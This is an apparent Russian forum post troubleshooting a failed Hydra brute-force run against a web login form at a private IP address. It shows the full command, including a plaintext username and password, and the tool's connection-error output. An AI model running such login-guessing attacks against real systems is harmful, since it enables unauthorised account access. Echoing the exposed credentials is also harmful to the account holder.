Может, и не из-за токена
master@limimate ~/hydra-8.1 $ hydra -l nichenkoOV -p vfvfjkz -f -V 192.168.247.198 https-post-form "/index.php
?login=yes:AUTH_FORM=Y&TYPE=AUTH&USER_LOGIN=^USER^ &USER_PASSWORD=^PASS^:Неправильный логин или пароль" -s 443
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (
http://www.thc.org/thc-hydra) starting at 2015-10-14 12:10:55
[DATA] max 1 task per 1 server, overall 64 tasks, 1 login try (l:1/p:1), ~0 tries per task
[DATA] attacking service http-post-form on port 443 with SSL
[ATTEMPT] target 192.168.247.198 - login "nichenkoOV" - pass "vfvfjkz" - 1 of 1 [child 0]
[ERROR] Child with pid 631 terminating, cannot connect
[RE-ATTEMPT] target 192.168.247.198 - login "nichenkoOV" - pass "vfvfjkz" - 1 of 1 [child 0]
[ERROR] Child with pid 632 terminating, cannot connect
[RE-ATTEMPT] target 192.168.247.198 - login "nichenkoOV" - pass "vfvfjkz" - 1 of 1 [child 0]
[ERROR] Child with pid 633 terminating, cannot connect
[STATUS] attack finished for 192.168.247.198 (waiting for children to finish) ...
1 of 1 target completed, 0 valid passwords found
Hydra (
http://www.thc.org/thc-hydra) finished at 2015-10-14 12:10:55